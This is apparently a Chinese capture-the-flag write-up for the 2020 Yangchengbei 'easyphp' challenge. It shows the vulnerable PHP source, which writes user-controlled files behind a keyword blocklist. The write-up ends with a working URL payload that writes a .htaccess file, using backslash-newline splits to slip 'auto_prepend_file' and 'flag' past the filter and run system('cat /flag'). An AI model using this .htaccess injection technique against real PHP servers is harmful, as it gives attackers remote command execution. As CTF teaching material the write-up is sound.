[羊城杯2020]easyphp
知识点
- .htaccess利用方式
- .htaccess相关问题
源码
<?php $files = scandir('./'); foreach($files as $file) { if(is_file($file)){ if ($file !== "index.php") { unlink($file); } } } if(!isset($_GET['content']) || !isset($_GET['filename'])) { highlight_file(__FILE__); die(); } $content = $_GET['content']; if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) { echo "Hacker"; die(); } $filename = $_GET['filename']; if(preg_match("/[^a-z\.]/", $filename) == 1) { echo "Hacker"; die(); } $files = scandir('./'); foreach($files as $file) { if(is_file($file)){ if ($file !== "index.php") { unlink($file); } } } file_put_contents($filename, $content . "\nHello, world"); ?>
解题步骤
在每次打开这个网页,都会把除了index.php之外的文件删除掉。而且尝试写过php文件,但是并没有解析。
所以传php文件不行,可以尝试传入.htaccess文件。
详细的解释说明,看看上面两篇文章差不多了。
最终payload:?content=php_value%20auto_prepend_fil\%0ae%20.htaccess%0a%23<?php%20system(%27cat%20/fla\g%27);?>\&filename=.htaccess
要在content末尾加一个
\
来绕过hello world的插入
要不然会报500,如果写入错误,就得重启环境了。